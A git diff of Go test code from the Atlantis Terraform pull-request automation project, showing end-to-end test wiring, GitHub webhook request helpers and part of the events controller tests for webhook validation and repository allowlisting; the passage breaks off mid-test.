vcsClient.VerifyWasCalled(Never()).MergePull(Any[logging.SimpleLogging](), Any[models.PullRequest](), Any[models.PullRequestOptions]()) + } + }) + } +} + +type setupOption struct { + repoConfigFile string + allowCommands []command.Name + disableAutoplan bool + disablePreWorkflowHooks bool + userConfig server.UserConfig +} + +func setupE2E(t *testing.T, repoDir string, opt setupOption) (events_controllers.VCSEventsController, *vcsmocks.MockClient, *mocks.MockGithubPullGetter, *events.FileWorkspace) { + allowForkPRs := false + discardApprovalOnPlan := true + dataDir, binDir, cacheDir := mkSubDirs(t) + // Mocks. + e2eVCSClient := vcsmocks.NewMockClient() + e2eStatusUpdater := &events.DefaultCommitStatusUpdater{Client: e2eVCSClient} + e2eGithubGetter := mocks.NewMockGithubPullGetter() + e2eGitlabGetter := mocks.NewMockGitlabMergeRequestGetter() + projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() + + // Real dependencies. + logging.SuppressDefaultLogging() + logger := logging.NewNoopLogger(t) + + eventParser := &events.EventParser{ + GithubUser: "github-user", + GithubToken: "github-token", + GitlabUser: "gitlab-user", + GitlabToken: "gitlab-token", + } + allowCommands := command.AllCommentCommands + if opt.allowCommands != nil { + allowCommands = opt.allowCommands + } + disableApply := true + disableGlobalApplyLock := false + for _, allowCommand := range allowCommands { + if allowCommand == command.Apply { + disableApply = false + break + } + } + commentParser := &events.CommentParser{ + GithubUser: "github-user", + GitlabUser: "gitlab-user", + ExecutableName: "atlantis", + AllowCommands: allowCommands, + } + + mockDownloader := terraform_mocks.NewMockDownloader() + distribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) + + terraformClient, err := tfclient.NewClient(logger, distribution, binDir, cacheDir, "", "", "", "default-tf-version", "https://releases.hashicorp.com", true, false, projectCmdOutputHandler) + Ok(t, err) + boltdb, err := db.New(dataDir) + Ok(t, err) + backend := boltdb + lockingClient := locking.NewClient(boltdb) + noOpLocker := locking.NewNoOpLocker() + applyLocker = locking.NewApplyClient(boltdb, disableApply, disableGlobalApplyLock) + projectLocker := &events.DefaultProjectLocker{ + Locker: lockingClient, + NoOpLocker: noOpLocker, + VCSClient: e2eVCSClient, + } + workingDir := &events.FileWorkspace{ + DataDir: dataDir, + TestingOverrideHeadCloneURL: "override-me", + } + var preWorkflowHooks []*valid.WorkflowHook + if !opt.disablePreWorkflowHooks { + preWorkflowHooks = []*valid.WorkflowHook{ + { + StepName: "global_hook", + RunCommand: "some dummy command", + }, + } + } + + defaultTFDistribution := terraformClient.DefaultDistribution() + defaultTFVersion := terraformClient.DefaultVersion() + locker := events.NewDefaultWorkingDirLocker() + parser := &config.ParserValidator{} + + globalCfgArgs := valid.GlobalCfgArgs{ + RepoConfigFile: opt.repoConfigFile, + AllowAllRepoSettings: true, + PreWorkflowHooks: preWorkflowHooks, + PostWorkflowHooks: []*valid.WorkflowHook{ + { + StepName: "global_hook", + RunCommand: "some post dummy command", + }, + }, + PolicyCheckEnabled: userConfig.EnablePolicyChecksFlag, + } + globalCfg := valid.NewGlobalCfgFromArgs(globalCfgArgs) + expCfgPath := filepath.Join(absRepoPath(t, repoDir), "repos.yaml") + if _, err := os.Stat(expCfgPath); err == nil { + globalCfg, err = parser.ParseGlobalCfg(expCfgPath, globalCfg) + Ok(t, err) + } + drainer := &events.Drainer{} + + parallelPoolSize := 1 + silenceNoProjects := false + + disableUnlockLabel := "do-not-unlock" + + statusUpdater := runtimemocks.NewMockStatusUpdater() + commitStatusUpdater := mocks.NewMockCommitStatusUpdater() + asyncTfExec := runtimemocks.NewMockAsyncTFExec() + + mockPreWorkflowHookRunner = runtimemocks.NewMockPreWorkflowHookRunner() + preWorkflowHookURLGenerator := mocks.NewMockPreWorkflowHookURLGenerator() + preWorkflowHooksCommandRunner := &events.DefaultPreWorkflowHooksCommandRunner{ + VCSClient: e2eVCSClient, + GlobalCfg: globalCfg, + WorkingDirLocker: locker, + WorkingDir: workingDir, + PreWorkflowHookRunner: mockPreWorkflowHookRunner, + CommitStatusUpdater: commitStatusUpdater, + Router: preWorkflowHookURLGenerator, + } + + mockPostWorkflowHookRunner = runtimemocks.NewMockPostWorkflowHookRunner() + postWorkflowHookURLGenerator := mocks.NewMockPostWorkflowHookURLGenerator() + postWorkflowHooksCommandRunner := &events.DefaultPostWorkflowHooksCommandRunner{ + VCSClient: e2eVCSClient, + GlobalCfg: globalCfg, + WorkingDirLocker: locker, + WorkingDir: workingDir, + PostWorkflowHookRunner: mockPostWorkflowHookRunner, + CommitStatusUpdater: commitStatusUpdater, + Router: postWorkflowHookURLGenerator, + } + statsScope, _, _ := metrics.NewLoggingScope(logger, "atlantis") + + projectCommandBuilder := events.NewProjectCommandBuilder( + userConfig.EnablePolicyChecksFlag, + parser, + &events.DefaultProjectFinder{}, + e2eVCSClient, + workingDir, + locker, + globalCfg, + &events.DefaultPendingPlanFinder{}, + commentParser, + false, + false, + false, + false, + false, + "", + "**/*.tf,**/*.tfvars,**/*.tfvars.json,**/terragrunt.hcl,**/.terraform.lock.hcl", + false, + false, + false, + "auto", + statsScope, + terraformClient, + ) + + showStepRunner, err := runtime.NewShowStepRunner(terraformClient, defaultTFDistribution, defaultTFVersion) + + Ok(t, err) + + conftextExec := policy.NewConfTestExecutorWorkflow(logger, binDir, mock_policy.NewMockDownloader()) + + // swapping out version cache to something that always returns local conftest + // binary + conftextExec.VersionCache = &LocalConftestCache{} + + policyCheckRunner, err := runtime.NewPolicyCheckStepRunner( + defaultTFDistribution, + defaultTFVersion, + conftextExec, + ) + + Ok(t, err) + + projectCommandRunner := &events.DefaultProjectCommandRunner{ + VcsClient: e2eVCSClient, + Locker: projectLocker, + LockURLGenerator: &mockLockURLGenerator{}, + InitStepRunner: &runtime.InitStepRunner{ + TerraformExecutor: terraformClient, + DefaultTFDistribution: defaultTFDistribution, + DefaultTFVersion: defaultTFVersion, + }, + PlanStepRunner: runtime.NewPlanStepRunner( + terraformClient, + defaultTFDistribution, + defaultTFVersion, + statusUpdater, + asyncTfExec, + ), + ShowStepRunner: showStepRunner, + PolicyCheckStepRunner: policyCheckRunner, + ApplyStepRunner: &runtime.ApplyStepRunner{ + TerraformExecutor: terraformClient, + }, + ImportStepRunner: runtime.NewImportStepRunner(terraformClient, defaultTFDistribution, defaultTFVersion), + StateRmStepRunner: runtime.NewStateRmStepRunner(terraformClient, defaultTFDistribution, defaultTFVersion), + RunStepRunner: &runtime.RunStepRunner{ + TerraformExecutor: terraformClient, + DefaultTFDistribution: defaultTFDistribution, + DefaultTFVersion: defaultTFVersion, + ProjectCmdOutputHandler: projectCmdOutputHandler, + }, + WorkingDir: workingDir, + Webhooks: &mockWebhookSender{}, + WorkingDirLocker: locker, + CommandRequirementHandler: &events.DefaultCommandRequirementHandler{ + WorkingDir: workingDir, + }, + } + + dbUpdater := &events.DBUpdater{ + Backend: backend, + } + + pullUpdater := &events.PullUpdater{ + HidePrevPlanComments: false, + VCSClient: e2eVCSClient, + MarkdownRenderer: events.NewMarkdownRenderer( + false, // gitlabSupportsCommonMark + false, // disableApplyAll + false, // disableApply + false, // disableMarkdownFolding + false, // disableRepoLocking + false, // enableDiffMarkdownFormat + "", // markdownTemplateOverridesDir + "atlantis", // executableName + false, // hideUnchangedPlanComments + opt.userConfig.QuietPolicyChecks, // quietPolicyChecks + ), + } + + autoMerger := &events.AutoMerger{ + VCSClient: e2eVCSClient, + GlobalAutomerge: false, + } + + policyCheckCommandRunner := events.NewPolicyCheckCommandRunner( + dbUpdater, + pullUpdater, + e2eStatusUpdater, + projectCommandRunner, + parallelPoolSize, + false, + userConfig.QuietPolicyChecks, + ) + + e2ePullReqStatusFetcher := vcs.NewPullReqStatusFetcher(e2eVCSClient, "atlantis-test", []string{}) + + planCommandRunner := events.NewPlanCommandRunner( + false, + false, + e2eVCSClient, + &events.DefaultPendingPlanFinder{}, + workingDir, + e2eStatusUpdater, + projectCommandBuilder, + projectCommandRunner, + dbUpdater, + pullUpdater, + policyCheckCommandRunner, + autoMerger, + parallelPoolSize, + silenceNoProjects, + boltdb, + lockingClient, + discardApprovalOnPlan, + e2ePullReqStatusFetcher, + ) + + applyCommandRunner := events.NewApplyCommandRunner( + e2eVCSClient, + false, + applyLocker, + e2eStatusUpdater, + projectCommandBuilder, + projectCommandRunner, + autoMerger, + pullUpdater, + dbUpdater, + boltdb, + parallelPoolSize, + silenceNoProjects, + false, + e2ePullReqStatusFetcher, + ) + + approvePoliciesCommandRunner := events.NewApprovePoliciesCommandRunner( + e2eStatusUpdater, + projectCommandBuilder, + projectCommandRunner, + pullUpdater, + dbUpdater, + silenceNoProjects, + false, + e2eVCSClient, + ) + + unlockCommandRunner := events.NewUnlockCommandRunner( + mocks.NewMockDeleteLockCommand(), + e2eVCSClient, + silenceNoProjects, + disableUnlockLabel, + ) + + versionCommandRunner := events.NewVersionCommandRunner( + pullUpdater, + projectCommandBuilder, + projectCommandRunner, + parallelPoolSize, + silenceNoProjects, + ) + + importCommandRunner := events.NewImportCommandRunner( + pullUpdater, + e2ePullReqStatusFetcher, + projectCommandBuilder, + projectCommandRunner, + silenceNoProjects, + ) + + stateCommandRunner := events.NewStateCommandRunner( + pullUpdater, + projectCommandBuilder, + projectCommandRunner, + ) + + commentCommandRunnerByCmd := map[command.Name]events.CommentCommandRunner{ + command.Plan: planCommandRunner, + command.Apply: applyCommandRunner, + command.ApprovePolicies: approvePoliciesCommandRunner, + command.Unlock: unlockCommandRunner, + command.Version: versionCommandRunner, + command.Import: importCommandRunner, + command.State: stateCommandRunner, + } + + commandRunner := &events.DefaultCommandRunner{ + EventParser: eventParser, + VCSClient: e2eVCSClient, + GithubPullGetter: e2eGithubGetter, + GitlabMergeRequestGetter: e2eGitlabGetter, + Logger: logger, + GlobalCfg: globalCfg, + StatsScope: statsScope, + AllowForkPRs: allowForkPRs, + AllowForkPRsFlag: "allow-fork-prs", + CommentCommandRunnerByCmd: commentCommandRunnerByCmd, + Drainer: drainer, + PreWorkflowHooksCommandRunner: preWorkflowHooksCommandRunner, + PostWorkflowHooksCommandRunner: postWorkflowHooksCommandRunner, + PullStatusFetcher: backend, + DisableAutoplan: opt.disableAutoplan, + CommitStatusUpdater: commitStatusUpdater, + } + + repoAllowlistChecker, err := events.NewRepoAllowlistChecker("*") + Ok(t, err) + + ctrl := events_controllers.VCSEventsController{ + TestingMode: true, + CommandRunner: commandRunner, + PullCleaner: &events.PullClosedExecutor{ + Locker: lockingClient, + VCSClient: e2eVCSClient, + WorkingDir: workingDir, + Backend: backend, + PullClosedTemplate: &events.PullClosedEventTemplate{}, + LogStreamResourceCleaner: projectCmdOutputHandler, + }, + Logger: logger, + Scope: statsScope, + Parser: eventParser, + CommentParser: commentParser, + GithubWebhookSecret: nil, + GithubRequestValidator: &events_controllers.DefaultGithubRequestValidator{}, + GitlabRequestParserValidator: &events_controllers.DefaultGitlabRequestParserValidator{}, + GitlabWebhookSecret: nil, + RepoAllowlistChecker: repoAllowlistChecker, + SupportedVCSHosts: []models.VCSHostType{models.Gitlab, models.Github, models.BitbucketCloud}, + VCSClient: e2eVCSClient, + } + return ctrl, e2eVCSClient, e2eGithubGetter, workingDir +} + +type mockLockURLGenerator struct{} + +func (m *mockLockURLGenerator) GenerateLockURL(_ string) string { + return "lock-url" +} + +type mockWebhookSender struct{} + +func (w *mockWebhookSender) Send(_ logging.SimpleLogging, _ webhooks.ApplyResult) error { + return nil +} + +func GitHubCommentEvent(t *testing.T, comment string) *http.Request { + requestJSON, err := os.ReadFile(filepath.Join("testdata", "githubIssueCommentEvent.json")) + Ok(t, err) + escapedComment, err := json.Marshal(comment) + Ok(t, err) + requestJSON = []byte(strings.Replace(string(requestJSON), "\"###comment body###\"", string(escapedComment), 1)) + req, err := http.NewRequest("POST", "/events", bytes.NewBuffer(requestJSON)) + Ok(t, err) + req.Header.Set("Content-Type", "application/json") + req.Header.Set(githubHeader, "issue_comment") + return req +} + +func GitHubPullRequestOpenedEvent(t *testing.T, headSHA string) *http.Request { + requestJSON, err := os.ReadFile(filepath.Join("testdata", "githubPullRequestOpenedEvent.json")) + Ok(t, err) + // Replace sha with expected sha. + requestJSONStr := strings.Replace(string(requestJSON), "c31fd9ea6f557ad2ea659944c3844a059b83bc5d", headSHA, -1) + req, err := http.NewRequest("POST", "/events", bytes.NewBuffer([]byte(requestJSONStr))) + Ok(t, err) + req.Header.Set("Content-Type", "application/json") + req.Header.Set(githubHeader, "pull_request") + return req +} + +func GitHubPullRequestClosedEvent(t *testing.T) *http.Request { + requestJSON, err := os.ReadFile(filepath.Join("testdata", "githubPullRequestClosedEvent.json")) + Ok(t, err) + req, err := http.NewRequest("POST", "/events", bytes.NewBuffer(requestJSON)) + Ok(t, err) + req.Header.Set("Content-Type", "application/json") + req.Header.Set(githubHeader, "pull_request") + return req +} + +func GitHubPullRequestParsed(headSHA string) *github.PullRequest { + // headSHA can't be empty so default if not set. + if headSHA == "" { + headSHA = "13940d121be73f656e2132c6d7b4c8e87878ac8d" + } + return &github.PullRequest{ + Number: github.Ptr(2), + State: github.Ptr("open"), + HTMLURL: github.Ptr("htmlurl"), + Head: &github.PullRequestBranch{ + Repo: &github.Repository{ + FullName: github.Ptr("runatlantis/atlantis-tests"), + CloneURL: github.Ptr("https://github.com/runatlantis/atlantis-tests.git"), + }, + SHA: github.Ptr(headSHA), + Ref: github.Ptr("branch"), + }, + Base: &github.PullRequestBranch{ + Repo: &github.Repository{ + FullName: github.Ptr("runatlantis/atlantis-tests"), + CloneURL: github.Ptr("https://github.com/runatlantis/atlantis-tests.git"), + }, + Ref: github.Ptr("main"), + }, + User: &github.User{ + Login: github.Ptr("atlantisbot"), + }, + } +} + +// absRepoPath returns the absolute path to the test repo under dir repoDir. +func absRepoPath(t *testing.T, repoDir string) string { + path, err := filepath.Abs(filepath.Join("testdata", "test-repos", repoDir)) + Ok(t, err) + return path +} + +// initializeRepo copies the repo data from testdata and initializes a new +// git repo in a temp directory. It returns that directory and a function +// to run in a defer that will delete the dir. +// The purpose of this function is to create a real git repository with a branch +// called 'branch' from the files under repoDir. This is so we can check in +// those files normally to this repo without needing a .git directory. +func initializeRepo(t *testing.T, repoDir string) (string, string) { + originRepo := absRepoPath(t, repoDir) + + // Copy the files to the temp dir. + destDir := t.TempDir() + runCmd(t, "", "cp", "-r", fmt.Sprintf("%s/.", originRepo), destDir) + + // Initialize the git repo. + runCmd(t, destDir, "git", "init") + runCmd(t, destDir, "touch", ".gitkeep") + runCmd(t, destDir, "git", "add", ".gitkeep") + runCmd(t, destDir, "git", "config", "--local", "user.email", "atlantisbot@runatlantis.io") + runCmd(t, destDir, "git", "config", "--local", "user.name", "atlantisbot") + runCmd(t, destDir, "git", "commit", "-m", "initial commit") + runCmd(t, destDir, "git", "checkout", "-b", "branch") + runCmd(t, destDir, "git", "add", ".") + runCmd(t, destDir, "git", "commit", "-am", "branch commit") + headSHA := runCmd(t, destDir, "git", "rev-parse", "HEAD") + headSHA = strings.Trim(headSHA, "\n") + + return destDir, headSHA +} + +func runCmd(t *testing.T, dir string, name string, args ...string) string { + cpCmd := exec.Command(name, args...) + cpCmd.Dir = dir + cpOut, err := cpCmd.CombinedOutput() + Assert(t, err == nil, "err running %q: %s", strings.Join(append([]string{name}, args...), " "), cpOut) + return string(cpOut) +} + +func assertCommentEquals(t *testing.T, expReplies []string, act string, repoDir string, parallel bool) { + t.Helper() + + // Replace all 'Creation complete after 0s [id=2135833172528078362]' strings with + // 'Creation complete after *s [id=*******************]' so we can do a comparison. + idRegex := regexp.MustCompile(`Creation complete after [0-9]+s \[id=[0-9]+]`) + act = idRegex.ReplaceAllString(act, "Creation complete after *s [id=*******************]") + + // Replace all null_resource.simple{n}: .* with null_resource.simple: because + // with multiple resources being created the logs are all out of order which + // makes comparison impossible. + resourceRegex := regexp.MustCompile(`null_resource\.simple(\[\d])?\d?:.*`) + act = resourceRegex.ReplaceAllString(act, "null_resource.simple:") + + // For parallel plans and applies, do a substring match since output may be out of order + var replyMatchesExpected func(string, string) bool + if parallel { + replyMatchesExpected = func(act string, expStr string) bool { + return strings.Contains(act, expStr) + } + } else { + replyMatchesExpected = func(act string, expStr string) bool { + return expStr == act + } + } + + for _, expFile := range expReplies { + exp, err := os.ReadFile(filepath.Join(absRepoPath(t, repoDir), expFile)) + Ok(t, err) + expStr := string(exp) + // My editor adds a newline to all the files, so if the actual comment + // doesn't end with a newline then strip the last newline from the file's + // contents. + if !strings.HasSuffix(act, "\n") { + expStr = strings.TrimSuffix(expStr, "\n") + } + + if !replyMatchesExpected(act, expStr) { + // If in CI, we write the diff to the console. Otherwise we write the diff + // to file so we can use our local diff viewer. + if os.Getenv("CI") == "true" { + t.Logf("exp: %s, got: %s", expStr, act) + t.FailNow() + } else { + actFile := filepath.Join(absRepoPath(t, repoDir), expFile+".act") + err := os.WriteFile(actFile, []byte(act), 0600) + Ok(t, err) + cwd, err := os.Getwd() + Ok(t, err) + rel, err := filepath.Rel(cwd, actFile) + Ok(t, err) + t.Errorf("%q was different, wrote actual comment to %q", expFile, rel) + } + } + } +} + +// returns parent, bindir, cachedir, cleanup func +func mkSubDirs(t *testing.T) (string, string, string) { + tmp := t.TempDir() + binDir := filepath.Join(tmp, "bin") + err := os.MkdirAll(binDir, 0700) + Ok(t, err) + + cachedir := filepath.Join(tmp, "plugin-cache") + err = os.MkdirAll(cachedir, 0700) + Ok(t, err) + + return tmp, binDir, cachedir +} + +// Will fail test if conftest isn't in path +func ensureRunningConftest(t *testing.T) { + // use `conftest` command instead `conftest$version`, so tests may fail on the environment cause the output logs may become change by version. + t.Logf("conftest check may fail depends on conftest version. please use latest stable conftest.") + _, err := exec.LookPath(conftestCommand) + if err != nil { + t.Logf(`%s must be installed to run this test +- on local, please install conftest command or run 'make docker/test-all' +- on CI, please check testing-env docker image contains conftest command. see testing/Dockerfile +`, conftestCommand) + t.FailNow() + } +} + +// Will fail test if terraform isn't in path and isn't version >= 0.14 +func ensureRunning014(t *testing.T) { + localPath, err := exec.LookPath("terraform") + if err != nil { + t.Log("terraform >= 0.14 must be installed to run this test") + t.FailNow() + } + versionOutBytes, err := exec.Command(localPath, "version").Output() // #nosec + if err != nil { + t.Logf("error running terraform version: %s", err) + t.FailNow() + } + versionOutput := string(versionOutBytes) + match := versionRegex.FindStringSubmatch(versionOutput) + if len(match) <= 1 { + t.Logf("could not parse terraform version from %s", versionOutput) + t.FailNow() + } + localVersion, err := version.NewVersion(match[1]) + Ok(t, err) + minVersion, err := version.NewVersion("0.14.0") + Ok(t, err) + if localVersion.LessThan(minVersion) { + t.Logf("must have terraform version >= %s, you have %s", minVersion, localVersion) + t.FailNow() + } +} + +// versionRegex extracts the version from `terraform version` output. +// +// Terraform v0.12.0-alpha4 (2c36829d3265661d8edbd5014de8090ea7e2a076) +// => 0.12.0-alpha4 +// +// Terraform v0.11.10 +// => 0.11.10 +// +// OpenTofu v1.0.0 +// => 1.0.0 +var versionRegex = regexp.MustCompile("(?:Terraform|OpenTofu) v(.*?)(\\s.*)?\n") diff --git a/server/controllers/events/events_controller_test.go b/server/controllers/events/events_controller_test.go new file mode 100644 index 0000000000..0bd900298a --- /dev/null +++ b/server/controllers/events/events_controller_test.go @@ -0,0 +1,1030 @@ +// Copyright 2017 HootSuite Media Inc. +// +// Licensed under the Apache License, Version 2.0 (the License); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// http://www.apache.org/licenses/LICENSE-2.0 +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an AS IS BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// Modified hereafter by contributors to runatlantis/atlantis. + +package events_test + +import ( + "bytes" + "errors" + "fmt" + "io" + "net/http" + "net/http/httptest" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/drmaxgit/go-azuredevops/azuredevops" + "github.com/google/go-github/v71/github" + . "github.com/petergtz/pegomock/v4" + events_controllers "github.com/runatlantis/atlantis/server/controllers/events" + "github.com/runatlantis/atlantis/server/controllers/events/mocks" + "github.com/runatlantis/atlantis/server/events" + "github.com/runatlantis/atlantis/server/events/command" + emocks "github.com/runatlantis/atlantis/server/events/mocks" + "github.com/runatlantis/atlantis/server/events/models" + vcsmocks "github.com/runatlantis/atlantis/server/events/vcs/mocks" + "github.com/runatlantis/atlantis/server/logging" + "github.com/runatlantis/atlantis/server/metrics" + . "github.com/runatlantis/atlantis/testing" + gitlab "gitlab.com/gitlab-org/api/client-go" +) + +const githubHeader = "X-Github-Event" +const giteaHeader = "X-Gitea-Event" +const gitlabHeader = "X-Gitlab-Event" +const azuredevopsHeader = "Request-Id" + +var user = []byte("user") +var secret = []byte("secret") + +func TestPost_NotGithubOrGitlab(t *testing.T) { + t.Log("when the request is not for gitlab or github a 400 is returned") + e, _, _, _, _, _, _, _, _ := setup(t) + w := httptest.NewRecorder() + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + e.Post(w, req) + ResponseContains(t, w, http.StatusBadRequest, "Ignoring request") +} + +func TestPost_UnsupportedVCSGithub(t *testing.T) { + t.Log("when the request is for an unsupported vcs a 400 is returned") + e, _, _, _, _, _, _, _, _ := setup(t) + e.SupportedVCSHosts = nil + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + req.Header.Set(githubHeader, "value") + w := httptest.NewRecorder() + e.Post(w, req) + ResponseContains(t, w, http.StatusBadRequest, "Ignoring request since not configured to support GitHub") +} + +func TestPost_UnsupportedVCSGitea(t *testing.T) { + t.Log("when the request is for an unsupported vcs a 400 is returned") + e, _, _, _, _, _, _, _, _ := setup(t) + e.SupportedVCSHosts = nil + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + req.Header.Set(giteaHeader, "value") + w := httptest.NewRecorder() + e.Post(w, req) + ResponseContains(t, w, http.StatusBadRequest, "Ignoring request since not configured to support Gitea") +} + +func TestPost_UnsupportedVCSGitlab(t *testing.T) { + t.Log("when the request is for an unsupported vcs a 400 is returned") + e, _, _, _, _, _, _, _, _ := setup(t) + e.SupportedVCSHosts = nil + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + req.Header.Set(gitlabHeader, "value") + w := httptest.NewRecorder() + e.Post(w, req) + ResponseContains(t, w, http.StatusBadRequest, "Ignoring request since not configured to support GitLab") +} + +func TestPost_InvalidGithubSecret(t *testing.T) { + t.Log("when the github payload can't be validated a 400 is returned") + e, v, _, _, _, _, _, _, _ := setup(t) + w := httptest.NewRecorder() + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + req.Header.Set(githubHeader, "value") + When(v.Validate(req, secret)).ThenReturn(nil, errors.New("err")) + e.Post(w, req) + ResponseContains(t, w, http.StatusBadRequest, "err") +} + +func TestPost_InvalidGiteaSecret(t *testing.T) { + t.Log("when the gitea payload can't be validated a 400 is returned") + e, v, _, _, _, _, _, _, _ := setup(t) + w := httptest.NewRecorder() + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + req.Header.Set(giteaHeader, "value") + When(v.Validate(req, secret)).ThenReturn(nil, errors.New("err")) + e.Post(w, req) + ResponseContains(t, w, http.StatusBadRequest, "request did not pass validation") +} + +func TestPost_InvalidGitlabSecret(t *testing.T) { + t.Log("when the gitlab payload can't be validated a 400 is returned") + e, _, gl, _, _, _, _, _, _ := setup(t) + w := httptest.NewRecorder() + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + req.Header.Set(gitlabHeader, "value") + When(gl.ParseAndValidate(req, secret)).ThenReturn(nil, errors.New("err")) + e.Post(w, req) + ResponseContains(t, w, http.StatusBadRequest, "err") +} + +func TestPost_UnsupportedGithubEvent(t *testing.T) { + t.Log("when the event type is an unsupported github event we ignore it") + e, v, _, _, _, _, _, _, _ := setup(t) + w := httptest.NewRecorder() + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + req.Header.Set(githubHeader, "value") + When(v.Validate(req, nil)).ThenReturn([]byte(`{"not an event": ""}`), nil) + e.Post(w, req) + ResponseContains(t, w, http.StatusOK, "Ignoring unsupported event") +} + +func TestPost_UnsupportedGiteaEvent(t *testing.T) { + t.Log("when the event type is an unsupported gitea event we ignore it") + e, v, _, _, _, _, _, _, _ := setup(t) + w := httptest.NewRecorder() + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + req.Header.Set(giteaHeader, "value") + e.GiteaWebhookSecret = nil + When(v.Validate(req, nil)).ThenReturn([]byte(`{"not an event": ""}`), nil) + e.Post(w, req) + ResponseContains(t, w, http.StatusOK, "Ignoring unsupported Gitea event") +} + +func TestPost_UnsupportedGitlabEvent(t *testing.T) { + t.Log("when the event type is an unsupported gitlab event we ignore it") + e, _, gl, _, _, _, _, _, _ := setup(t) + w := httptest.NewRecorder() + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + req.Header.Set(gitlabHeader, "value") + When(gl.ParseAndValidate(req, secret)).ThenReturn([]byte(`{"not an event": ""}`), nil) + e.Post(w, req) + ResponseContains(t, w, http.StatusOK, "Ignoring unsupported event") +} + +// Test that if the comment comes from a commit rather than a merge request, +// we give an error and ignore it. +func TestPost_GitlabCommentOnCommit(t *testing.T) { + e, _, gl, _, _, _, _, _, _ := setup(t) + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + w := httptest.NewRecorder() + req.Header.Set(gitlabHeader, "value") + When(gl.ParseAndValidate(req, secret)).ThenReturn(gitlab.CommitCommentEvent{}, nil) + e.Post(w, req) + ResponseContains(t, w, http.StatusOK, "Ignoring comment on commit event") +} + +func TestPost_GithubCommentNotCreated(t *testing.T) { + t.Log("when the event is a github comment but it's not a created event we ignore it") + e, v, _, _, _, _, _, _, _ := setup(t) + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + req.Header.Set(githubHeader, "issue_comment") + // comment action is deleted, not created + event := `{"action": "deleted"}` + When(v.Validate(req, secret)).ThenReturn([]byte(event), nil) + w := httptest.NewRecorder() + e.Post(w, req) + ResponseContains(t, w, http.StatusOK, "Ignoring comment event since action was not created") +} + +func TestPost_GithubInvalidComment(t *testing.T) { + t.Log("when the event is a github comment without all expected data we return a 400") + e, v, _, _, p, _, _, _, _ := setup(t) + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + req.Header.Set(githubHeader, "issue_comment") + event := `{"action": "created"}` + When(v.Validate(req, secret)).ThenReturn([]byte(event), nil) + When(p.ParseGithubIssueCommentEvent(Any[logging.SimpleLogging](), Any[*github.IssueCommentEvent]())).ThenReturn(models.Repo{}, models.User{}, 1, errors.New("err")) + w := httptest.NewRecorder() + e.Post(w, req) + ResponseContains(t, w, http.StatusBadRequest, "Failed parsing event") +} + +func TestPost_GitlabCommentInvalidCommand(t *testing.T) { + t.Log("when the event is a gitlab comment with an invalid command we ignore it") + e, _, gl, _, _, _, _, _, cp := setup(t) + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + req.Header.Set(gitlabHeader, "value") + When(gl.ParseAndValidate(req, secret)).ThenReturn(gitlab.MergeCommentEvent{}, nil) + When(cp.Parse("", models.Gitlab)).ThenReturn(events.CommentParseResult{Ignore: true}) + w := httptest.NewRecorder() + e.Post(w, req) + ResponseContains(t, w, http.StatusOK, "Ignoring non-command comment: \"\"") +} + +func TestPost_GithubCommentInvalidCommand(t *testing.T) { + t.Log("when the event is a github comment with an invalid command we ignore it") + e, v, _, _, p, _, _, vcsClient, cp := setup(t) + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + req.Header.Set(githubHeader, "issue_comment") + event := `{"action": "created"}` + When(v.Validate(req, secret)).ThenReturn([]byte(event), nil) + When(p.ParseGithubIssueCommentEvent(Any[logging.SimpleLogging](), Any[*github.IssueCommentEvent]())).ThenReturn(models.Repo{}, models.User{}, 1, nil) + When(cp.Parse("", models.Github)).ThenReturn(events.CommentParseResult{Ignore: true}) + w := httptest.NewRecorder() + e.Post(w, req) + ResponseContains(t, w, http.StatusOK, "Ignoring non-command comment: \"\"") + vcsClient.VerifyWasCalled(Never()).ReactToComment(Any[logging.SimpleLogging](), Eq(models.Repo{}), Eq(1), Eq(int64(1)), Eq("eyes")) +} + +func TestPost_GitlabCommentNotAllowlisted(t *testing.T) { + t.Log("when the event is a gitlab comment from a repo that isn't allowlisted we comment with an error") + RegisterMockTestingT(t) + vcsClient := vcsmocks.NewMockClient() + logger := logging.NewNoopLogger(t) + scope, _, _ := metrics.NewLoggingScope(logger, "null") + e := events_controllers.VCSEventsController{ + Logger: logger, + Scope: scope, + CommentParser: &events.CommentParser{ExecutableName: "atlantis"}, + GitlabRequestParserValidator: &events_controllers.DefaultGitlabRequestParserValidator{}, + Parser: &events.EventParser{}, + SupportedVCSHosts: []models.VCSHostType{models.Gitlab}, + RepoAllowlistChecker: &events.RepoAllowlistChecker{}, + VCSClient: vcsClient, + } + requestJSON, err := os.ReadFile(filepath.Join("testdata", "gitlabMergeCommentEvent_notAllowlisted.json")) + Ok(t, err) + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(requestJSON)) + req.Header.Set(gitlabHeader, "Note Hook") + w := httptest.NewRecorder() + e.Post(w, req) + + resp := w.Result() + defer resp.Body.Close() + Equals(t, http.StatusForbidden, resp.StatusCode) + body, _ := io.ReadAll(resp.Body) + exp := "Repo not allowlisted" + Assert(t, strings.Contains(string(body), exp), "exp %q to be contained in %q", exp, string(body)) + expRepo, _ := models.NewRepo(models.Gitlab, "gitlabhq/gitlab-test", "https://example.com/gitlabhq/gitlab-test.git", "", "") + vcsClient.VerifyWasCalledOnce().CreateComment( + Any[logging.SimpleLogging](), Eq(expRepo), Eq(1), Eq("```\nError: This repo is not 